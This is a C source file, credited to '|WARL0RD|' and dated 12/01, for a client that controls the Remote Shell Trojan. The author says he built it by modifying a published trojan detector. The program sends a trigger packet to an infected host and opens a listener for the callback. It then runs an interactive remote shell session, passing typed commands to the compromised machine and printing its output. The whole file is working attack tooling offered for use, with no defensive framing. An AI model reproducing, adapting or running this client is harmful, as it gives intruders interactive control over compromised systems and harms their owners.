/*
	Remote shell trojan remote client
	Code by |WARL0RD| 12/01
	http://warlord.nologin.org
	Usage: rst_client host [port]
*/

#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define LV_5503_LISTEN_PORT		2345
#define LV_5503_LISTEN_PORT_ATTEMPTS	1000
#define LV_5503_TIMEOUT			5
#define LV_5503_PORT			5503

static int	net_accept	(int socket, int timeout);
static int	net_listen	(int listener, u_short sport);
static void	getmyip		(struct in_addr src, struct in_addr *myip);
static u_long	resolve		(const char *host);

static int
net_accept(int socket, int timeout)
{
	fd_set fds;
	struct sockaddr_in from;
	int fromlen;
	int flags;
	int retsocket,readnmb;
	char recvbuf[80];

	flags = fcntl(socket, F_GETFL, 0);

	
	fromlen = sizeof(from);
	if((retsocket = accept(socket,(struct sockaddr *) &from, &fromlen)) == -1)
	  {
	    printf("Error in accept()!\n");
	    exit(1);
	  }
   
    printf("Connection accepted. Now type something.\n");

     while(1)
       {
	FD_ZERO(&fds);
	FD_SET(retsocket, &fds);
	FD_SET(0, &fds);
	select(FD_SETSIZE,&fds,NULL,NULL,NULL);
	
	if(FD_ISSET(retsocket,&fds))
	  {
	    memset(recvbuf,0,80);
	    if((readnmb=read(retsocket,recvbuf,80))<1)
	      {
	        if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
	      else
	        {
	          printf("recv error. read %d bytes\n",readnmb);
	          close(retsocket);
	          exit(1);
	        }
	      }
	    printf("%s",recvbuf);	    
	  }
	  
	if(FD_ISSET(0,&fds))
	  {
	    memset(recvbuf,0,80);
	    if((readnmb=read(1,recvbuf,80))==-1)
	      {
	        if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
	      else
	        {
	          close(socket);
	          exit(1);
	        }
	      }
	    if(send(retsocket,recvbuf,readnmb,0)==-1)
	      {
	        printf("send error. couldnt send %d bytes\n",readnmb);
	        close(socket);
	        exit(1);
	      }
	  }


       } /*while end*/
       
	close(retsocket);
	return retsocket != -1;
}

static int
net_listen(int listener, u_short sport)
{
	struct sockaddr_in from;

	from.sin_family = AF_INET;
	from.sin_addr.s_addr = INADDR_ANY;
	from.sin_port = htons(sport);

	if (bind(listener, (struct sockaddr *)&from, sizeof(from)) == -1)
		return -1;
	return listen(listener, 1);
}

static void
getmyip(struct in_addr src, struct in_addr *myip)
{
	struct sockaddr_in so,so1;
	int s;
	int i = sizeof(struct sockaddr_in);

	so.sin_addr.s_addr = src.s_addr;
	so.sin_family = AF_INET;
	so.sin_port = 35564;

	s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);	
	if (s == -1) {
		perror("socket");
		exit(1);
	}

	if ((fcntl(s, F_SETFL, O_NONBLOCK)) == -1) {
		perror("fcntl");
		exit(1);
	}

	connect(s, (struct sockaddr *)&so, i);

	if (getsockname(s, (struct sockaddr *)&so1, &i) == -1 ) {
		perror("getsockname");
		exit(1);
	}

	myip->s_addr =  so1.sin_addr.s_addr;
	close(s);
}

static u_long
resolve(const char *host)
{
	struct hostent *hp;
	u_long ip;

	ip = inet_addr(host);
	if (ip == -1) {
		hp = gethostbyname(host);
		if (hp == NULL) {
			fprintf(stderr, "No such host: %s\n", host);
			exit(1);
		}
		ip = *(unsigned long *)&hp->h_addr_list[0];
	}
	return ip;
}

int
main(int argc, char *argv[])
{
	int listener, outgoing_sock;
	char data[16];
	int ret;
	struct in_addr myip, dstip;
	struct sockaddr_in to;
	int i;
	u_short port = LV_5503_PORT;

	if (argc == 2) {
		dstip.s_addr = resolve(argv[1]);
	} else if (argc == 3) {
		dstip.s_addr = resolve(argv[1]);
		port = atoi(argv[2]);
	} else {
		fprintf(stderr, "Usage: rst_detector host [port]\n");
		exit(1);
	}
	
	printf("\nRST Trojan client, coded by |WARL0RD| 12/01\n");
	printf("Greets to #jaded@efnet and MnM crew in IRCnet\n");
	printf("Special Greets fly to Qualis for their excellent Trojan detector\n");
	printf("It didn't take me long to modify that detector to a client :]\n");
	printf("Have fun, |WARL0RD|.\n");
	printf("\n");

	getmyip(dstip, &myip);
	if (
		(myip.s_addr &       0xff) == 0 ||
		(myip.s_addr &     0xff00) == 0 ||
		(myip.s_addr &   0xff0000) == 0 ||
		(myip.s_addr & 0xff000000) == 0
	) {
		fprintf(stderr, "Due to a limitation in the Remote Shell Trojan,
this detection program cannot be launched from a
system, where its IP address is containing 0 as one 
of the octets. Please run this program from a machine
not containing a 0 in one of the octets.\n");
		exit(1);
	}

	outgoing_sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (outgoing_sock == -1) {
		perror("socket");
		exit(1);
	}

	listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (listener == -1) {
		perror("socket");
		return -1;
	}

	ret = -1;
	for (
		i = LV_5503_LISTEN_PORT;
		i < (LV_5503_LISTEN_PORT + LV_5503_LISTEN_PORT_ATTEMPTS);
		i++
	) {
		if ((i & 0xff) == 0) continue;
		ret = net_listen(listener, i);
		if (ret == 0) break;
	}
	if (ret == -1) goto linux_virus_5503__exit;

	memset(data, 1, sizeof(data));

	data[0] = 'S';
	data[1] = 'E';
	data[2] = 'C';
	data[3] = 'I';
	data[4] = 'D';
	data[5] = 0x2;
	
	*(long *)&data[6] = myip.s_addr;
	*(short *)&data[10] = i; 
	
	to.sin_family = AF_INET;
	to.sin_addr.s_addr = dstip.s_addr;
	to.sin_port = htons(port);

	ret = -1;
	if (sendto(
		outgoing_sock,
		data, 16,
		0,
		(struct sockaddr *)&to, sizeof(to)
	) == 16) {
		ret = net_accept(listener, LV_5503_TIMEOUT);
	}
	close(listener);

linux_virus_5503__exit:
	close(outgoing_sock);

	if (ret == 1)
		printf("Remote Shell Trojan DETECTED\n");
	else
		printf("Remote Shell Trojan not detected.\n");
	
	return 0;
}

